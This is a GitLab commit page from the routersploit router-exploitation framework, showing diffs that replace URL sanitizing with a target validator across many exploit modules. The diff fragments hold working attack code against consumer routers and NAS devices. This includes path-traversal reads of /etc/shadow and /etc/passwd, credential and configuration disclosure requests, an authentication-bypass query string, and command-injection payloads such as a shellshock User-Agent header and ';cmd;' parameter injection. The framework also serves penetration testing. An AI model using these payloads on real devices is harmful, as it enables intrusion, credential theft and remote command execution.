Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
79e72d9d
Commit
79e72d9d
authored
May 13, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Implementing validators for exploits.
parent
bd731f2d
Show whitespace changes
Inline
Side-by-side
Showing
25 changed files
with
100 additions
and
99 deletions
+100
-99
ar_1004g_password_disclosure.py
...it/modules/exploits/asmax/ar_1004g_password_disclosure.py
+4
-6
rt_n16_password_disclosure.py
...ploit/modules/exploits/asus/rt_n16_password_disclosure.py
+4
-4
g_n150_password_disclosure.py
...oit/modules/exploits/belkin/g_n150_password_disclosure.py
+4
-4
g_plus_info_disclosure.py
...rsploit/modules/exploits/belkin/g_plus_info_disclosure.py
+5
-5
n150_path_traversal.py
routersploit/modules/exploits/belkin/n150_path_traversal.py
+8
-5
n750_rce.py
routersploit/modules/exploits/belkin/n750_rce.py
+3
-3
ucs_manager_rce.py
routersploit/modules/exploits/cisco/ucs_manager_rce.py
+3
-3
ct_5361t_password_disclosure.py
...modules/exploits/comtrend/ct_5361t_password_disclosure.py
+4
-4
dir_300_320_615_auth_bypass.py
...oit/modules/exploits/dlink/dir_300_320_615_auth_bypass.py
+4
-4
dir_300_600_615_info_disclosure.py
...modules/exploits/dlink/dir_300_600_615_info_disclosure.py
+4
-4
dir_300_600_rce.py
routersploit/modules/exploits/dlink/dir_300_600_rce.py
+3
-3
dir_645_password_disclosure.py
...oit/modules/exploits/dlink/dir_645_password_disclosure.py
+4
-4
dns_320l_327l_rce.py
routersploit/modules/exploits/dlink/dns_320l_327l_rce.py
+4
-4
dsl_2750b_info_disclosure.py
...ploit/modules/exploits/dlink/dsl_2750b_info_disclosure.py
+4
-4
dvg_n5402sp_path_traversal.py
...loit/modules/exploits/dlink/dvg_n5402sp_path_traversal.py
+3
-3
dwr_932_info_disclosure.py
...rsploit/modules/exploits/dlink/dwr_932_info_disclosure.py
+4
-4
1500_2500_rce.py
routersploit/modules/exploits/linksys/1500_2500_rce.py
+4
-4
wap54gv3_rce.py
routersploit/modules/exploits/linksys/wap54gv3_rce.py
+3
-3
misfortune_cookie.py
routersploit/modules/exploits/multi/misfortune_cookie.py
+3
-3
shellshock.py
routersploit/modules/exploits/multi/shellshock.py
+4
-4
multi_rce.py
routersploit/modules/exploits/netgear/multi_rce.py
+4
-4
n300_auth_bypass.py
routersploit/modules/exploits/netgear/n300_auth_bypass.py
+6
-6
prosafe_rce.py
routersploit/modules/exploits/netgear/prosafe_rce.py
+3
-3
tc7200_password_disclosure.py
...odules/exploits/technicolor/tc7200_password_disclosure.py
+4
-4
airos_6_x.py
routersploit/modules/exploits/ubiquiti/airos_6_x.py
+4
-4
No files found.
routersploit/modules/exploits/asmax/ar_1004g_password_disclosure.py
View file @
79e72d9d
...
@@ -2,13 +2,13 @@ import re
...
@@ -2,13 +2,13 @@ import re
from
routersploit
import
(
from
routersploit
import
(
exploits
,
exploits
,
sanitize_url
,
print_status
,
print_status
,
print_error
,
print_error
,
print_success
,
print_success
,
print_table
,
print_table
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -32,14 +32,12 @@ class Exploit(exploits.Exploit):
...
@@ -32,14 +32,12 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
def
run
(
self
):
def
run
(
self
):
creds
=
[]
creds
=
[]
url
=
sanitize_url
(
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
))
url
=
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
)
# print_status("Requesting for {}".format(url))
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
@@ -65,7 +63,7 @@ class Exploit(exploits.Exploit):
...
@@ -65,7 +63,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
...
routersploit/modules/exploits/asus/rt_n16_password_disclosure.py
View file @
79e72d9d
...
@@ -2,12 +2,12 @@ import re
...
@@ -2,12 +2,12 @@ import re
from
routersploit
import
(
from
routersploit
import
(
exploits
,
exploits
,
sanitize_url
,
print_error
,
print_error
,
print_success
,
print_success
,
print_table
,
print_table
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -36,11 +36,11 @@ class Exploit(exploits.Exploit):
...
@@ -36,11 +36,11 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
8080
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
8080
,
'Target port'
)
# default port
def
run
(
self
):
def
run
(
self
):
url
=
sanitize_url
(
"{}:{}/error_page.htm"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/error_page.htm"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
@@ -58,7 +58,7 @@ class Exploit(exploits.Exploit):
...
@@ -58,7 +58,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/error_page.htm"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/error_page.htm"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
...
routersploit/modules/exploits/belkin/g_n150_password_disclosure.py
View file @
79e72d9d
...
@@ -2,12 +2,12 @@ import re
...
@@ -2,12 +2,12 @@ import re
from
routersploit
import
(
from
routersploit
import
(
exploits
,
exploits
,
sanitize_url
,
print_error
,
print_error
,
print_success
,
print_success
,
print_table
,
print_table
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -34,11 +34,11 @@ class Exploit(exploits.Exploit):
...
@@ -34,11 +34,11 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
url
=
sanitize_url
(
"{}:{}/login.stm"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/login.stm"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
@@ -57,7 +57,7 @@ class Exploit(exploits.Exploit):
...
@@ -57,7 +57,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/login.stm"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/login.stm"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
...
routersploit/modules/exploits/belkin/g_plus_info_disclosure.py
View file @
79e72d9d
...
@@ -2,12 +2,12 @@ import re
...
@@ -2,12 +2,12 @@ import re
from
routersploit
import
(
from
routersploit
import
(
exploits
,
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_success
,
print_error
,
print_table
,
print_table
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -32,11 +32,11 @@ class Exploit(exploits.Exploit):
...
@@ -32,11 +32,11 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
url
=
sanitize_url
(
"{}:{}/SaveCfgFile.cgi"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/SaveCfgFile.cgi"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
@@ -70,7 +70,7 @@ class Exploit(exploits.Exploit):
...
@@ -70,7 +70,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/SaveCfgFile.cgi"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/SaveCfgFile.cgi"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
...
routersploit/modules/exploits/belkin/n150_path_traversal.py
View file @
79e72d9d
...
@@ -2,9 +2,9 @@ from routersploit import (
...
@@ -2,9 +2,9 @@ from routersploit import (
exploits
,
exploits
,
print_success
,
print_success
,
print_error
,
print_error
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -33,26 +33,29 @@ class Exploit(exploits.Exploit):
...
@@ -33,26 +33,29 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
filename
=
exploits
.
Option
(
'/etc/shadow'
,
'File to read'
)
filename
=
exploits
.
Option
(
'/etc/shadow'
,
'File to read'
)
def
run
(
self
):
def
run
(
self
):
url
=
sanitize_url
(
"{}:{}/cgi-bin/webproc?getpage={}&var:page=deviceinfo"
.
format
(
self
.
target
,
self
.
port
,
self
.
filename
))
if
self
.
check
():
url
=
"{}:{}/cgi-bin/webproc?getpage={}&var:page=deviceinfo"
.
format
(
self
.
target
,
self
.
port
,
self
.
filename
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
return
return
if
len
(
response
.
text
):
if
response
.
status_code
==
200
and
len
(
response
.
text
):
print_success
(
"Success! File:
%
s"
%
self
.
filename
)
print_success
(
"Success! File:
%
s"
%
self
.
filename
)
print
response
.
text
print
response
.
text
else
:
else
:
print_error
(
"Exploit failed"
)
print_error
(
"Exploit failed"
)
else
:
print_error
(
"Device seems to be not vulnerable"
)
@mute
@mute
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
...
routersploit/modules/exploits/belkin/n750_rce.py
View file @
79e72d9d
...
@@ -4,9 +4,9 @@ from routersploit import (
...
@@ -4,9 +4,9 @@ from routersploit import (
print_status
,
print_status
,
print_error
,
print_error
,
random_text
,
random_text
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -32,7 +32,7 @@ class Exploit(exploits.Exploit):
...
@@ -32,7 +32,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
...
@@ -53,7 +53,7 @@ class Exploit(exploits.Exploit):
...
@@ -53,7 +53,7 @@ class Exploit(exploits.Exploit):
print
self
.
execute
(
cmd
)
print
self
.
execute
(
cmd
)
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
url
=
sanitize_url
(
"{}:{}/login.cgi.php"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/login.cgi.php"
.
format
(
self
.
target
,
self
.
port
)
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
data
=
"GO=&jump="
+
"A"
*
1379
+
";{};&ps=
\n\n
"
.
format
(
cmd
)
data
=
"GO=&jump="
+
"A"
*
1379
+
";{};&ps=
\n\n
"
.
format
(
cmd
)
...
...
routersploit/modules/exploits/cisco/ucs_manager_rce.py
View file @
79e72d9d
...
@@ -6,9 +6,9 @@ from routersploit import (
...
@@ -6,9 +6,9 @@ from routersploit import (
print_status
,
print_status
,
print_error
,
print_error
,
random_text
,
random_text
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -33,7 +33,7 @@ class Exploit(exploits.Exploit):
...
@@ -33,7 +33,7 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
...
@@ -55,7 +55,7 @@ class Exploit(exploits.Exploit):
...
@@ -55,7 +55,7 @@ class Exploit(exploits.Exploit):
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
mark
=
random_text
(
32
)
mark
=
random_text
(
32
)
url
=
sanitize_url
(
"{}:{}/ucsm/isSamInstalled.cgi"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/ucsm/isSamInstalled.cgi"
.
format
(
self
.
target
,
self
.
port
)
headers
=
{
headers
=
{
"User-Agent"
:
'() { test;};echo
\"
Content-type: text/plain
\"
; echo; echo; echo
%
s; echo "$(
%
s)"; echo
%
s;'
%
(
mark
,
cmd
,
mark
)
"User-Agent"
:
'() { test;};echo
\"
Content-type: text/plain
\"
; echo; echo; echo
%
s; echo "$(
%
s)"; echo
%
s;'
%
(
mark
,
cmd
,
mark
)
}
}
...
...
routersploit/modules/exploits/comtrend/ct_5361t_password_disclosure.py
View file @
79e72d9d
...
@@ -7,9 +7,9 @@ from routersploit import (
...
@@ -7,9 +7,9 @@ from routersploit import (
print_error
,
print_error
,
print_success
,
print_success
,
print_table
,
print_table
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -32,12 +32,12 @@ class Exploit(exploits.Exploit):
...
@@ -32,12 +32,12 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
def
run
(
self
):
def
run
(
self
):
if
self
.
check
():
if
self
.
check
():
url
=
sanitize_url
(
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
)
print_status
(
"Requesting for {}"
.
format
(
url
))
print_status
(
"Requesting for {}"
.
format
(
url
))
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
...
@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit):
...
@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
...
routersploit/modules/exploits/dlink/dir_300_320_615_auth_bypass.py
View file @
79e72d9d
...
@@ -2,9 +2,9 @@ from routersploit import (
...
@@ -2,9 +2,9 @@ from routersploit import (
exploits
,
exploits
,
print_success
,
print_success
,
print_error
,
print_error
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -31,7 +31,7 @@ class Exploit(exploits.Exploit):
...
@@ -31,7 +31,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
def
run
(
self
):
def
run
(
self
):
...
@@ -47,7 +47,7 @@ class Exploit(exploits.Exploit):
...
@@ -47,7 +47,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
# check if it is valid target
# check if it is valid target
url
=
sanitize_url
(
"{}:{}/bsc_lan.php"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/bsc_lan.php"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
@@ -57,7 +57,7 @@ class Exploit(exploits.Exploit):
...
@@ -57,7 +57,7 @@ class Exploit(exploits.Exploit):
return
False
# target is not vulnerable
return
False
# target is not vulnerable
# checking if authentication can be baypassed
# checking if authentication can be baypassed
url
=
sanitize_url
(
"{}:{}/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
...
routersploit/modules/exploits/dlink/dir_300_600_615_info_disclosure.py
View file @
79e72d9d
...
@@ -5,9 +5,9 @@ from routersploit import (
...
@@ -5,9 +5,9 @@ from routersploit import (
print_error
,
print_error
,
print_success
,
print_success
,
print_table
,
print_table
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -33,11 +33,11 @@ class Exploit(exploits.Exploit):
...
@@ -33,11 +33,11 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
def
run
(
self
):
def
run
(
self
):
url
=
sanitize_url
(
"{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
@@ -55,7 +55,7 @@ class Exploit(exploits.Exploit):
...
@@ -55,7 +55,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
...
routersploit/modules/exploits/dlink/dir_300_600_rce.py
View file @
79e72d9d
...
@@ -4,9 +4,9 @@ from routersploit import (
...
@@ -4,9 +4,9 @@ from routersploit import (
print_success
,
print_success
,
print_status
,
print_status
,
random_text
,
random_text
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -33,7 +33,7 @@ class Exploit(exploits.Exploit):
...
@@ -33,7 +33,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
...
@@ -54,7 +54,7 @@ class Exploit(exploits.Exploit):
...
@@ -54,7 +54,7 @@ class Exploit(exploits.Exploit):
print
self
.
execute
(
cmd
)
print
self
.
execute
(
cmd
)
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
url
=
sanitize_url
(
"{}:{}/command.php"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/command.php"
.
format
(
self
.
target
,
self
.
port
)
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
data
=
"cmd={}"
.
format
(
cmd
)
data
=
"cmd={}"
.
format
(
cmd
)
...
...
routersploit/modules/exploits/dlink/dir_645_password_disclosure.py
View file @
79e72d9d
...
@@ -5,9 +5,9 @@ from routersploit import (
...
@@ -5,9 +5,9 @@ from routersploit import (
print_error
,
print_error
,
print_success
,
print_success
,
print_table
,
print_table
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -31,12 +31,12 @@ class Exploit(exploits.Exploit):
...
@@ -31,12 +31,12 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
8080
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
8080
,
'Target port'
)
# default port
def
run
(
self
):
def
run
(
self
):
# address and parameters
# address and parameters
url
=
sanitize_url
(
"{}:{}/getcfg.php"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/getcfg.php"
.
format
(
self
.
target
,
self
.
port
)
data
=
{
"SERVICES"
:
"DEVICE.ACCOUNT"
}
data
=
{
"SERVICES"
:
"DEVICE.ACCOUNT"
}
# connection
# connection
...
@@ -60,7 +60,7 @@ class Exploit(exploits.Exploit):
...
@@ -60,7 +60,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
# address and parameters
# address and parameters
url
=
sanitize_url
(
"{}:{}/getcfg.php"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/getcfg.php"
.
format
(
self
.
target
,
self
.
port
)
data
=
{
"SERVICES"
:
"DEVICE.ACCOUNT"
}
data
=
{
"SERVICES"
:
"DEVICE.ACCOUNT"
}
response
=
http_request
(
method
=
"POST"
,
url
=
url
,
data
=
data
)
response
=
http_request
(
method
=
"POST"
,
url
=
url
,
data
=
data
)
...
...
routersploit/modules/exploits/dlink/dns_320l_327l_rce.py
View file @
79e72d9d
...
@@ -7,9 +7,9 @@ from routersploit import (
...
@@ -7,9 +7,9 @@ from routersploit import (
print_status
,
print_status
,
print_error
,
print_error
,
random_text
,
random_text
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -34,7 +34,7 @@ class Exploit(exploits.Exploit):
...
@@ -34,7 +34,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
...
@@ -56,7 +56,7 @@ class Exploit(exploits.Exploit):
...
@@ -56,7 +56,7 @@ class Exploit(exploits.Exploit):
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
mark
=
random_text
(
32
)
mark
=
random_text
(
32
)
url
=
sanitize_url
(
"{}:{}/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo {};"
.
format
(
self
.
target
,
self
.
port
,
cmd
,
mark
)
)
url
=
"{}:{}/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo {};"
.
format
(
self
.
target
,
self
.
port
,
cmd
,
mark
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
@@ -77,7 +77,7 @@ class Exploit(exploits.Exploit):
...
@@ -77,7 +77,7 @@ class Exploit(exploits.Exploit):
solution
=
number
-
1
solution
=
number
-
1
cmd
=
"echo $(({}-1))"
.
format
(
number
)
cmd
=
"echo $(({}-1))"
.
format
(
number
)
url
=
sanitize_url
(
"{}:{}/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo ffffffffffffffff;"
.
format
(
self
.
target
,
self
.
port
,
cmd
)
)
url
=
"{}:{}/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo ffffffffffffffff;"
.
format
(
self
.
target
,
self
.
port
,
cmd
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
...
routersploit/modules/exploits/dlink/dsl_2750b_info_disclosure.py
View file @
79e72d9d
...
@@ -5,9 +5,9 @@ from routersploit import (
...
@@ -5,9 +5,9 @@ from routersploit import (
print_success
,
print_success
,
print_error
,
print_error
,
print_table
,
print_table
,
sanitize_url
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
)
)
...
@@ -33,11 +33,11 @@ class Exploit(exploits.Exploit):
...
@@ -33,11 +33,11 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
def
run
(
self
):
def
run
(
self
):
url
=
sanitize_url
(
"{}:{}/hidden_info.html"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/hidden_info.html"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
@@ -62,7 +62,7 @@ class Exploit(exploits.Exploit):
...
@@ -62,7 +62,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/hidden_info.html"
.
format
(
self
.
target
,
self
.
port
)
)
url
=
"{}:{}/hidden_info.html"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
...
...
routersploit/modules/exploits/dlink/dvg_n5402sp_path_traversal.py
View file @
79e72d9d
...
@@ -3,9 +3,9 @@ from routersploit import (
...
@@ -3,9 +3,9 @@ from routersploit import (
print_success
,
print_success
,
print_error
,
print_error
,
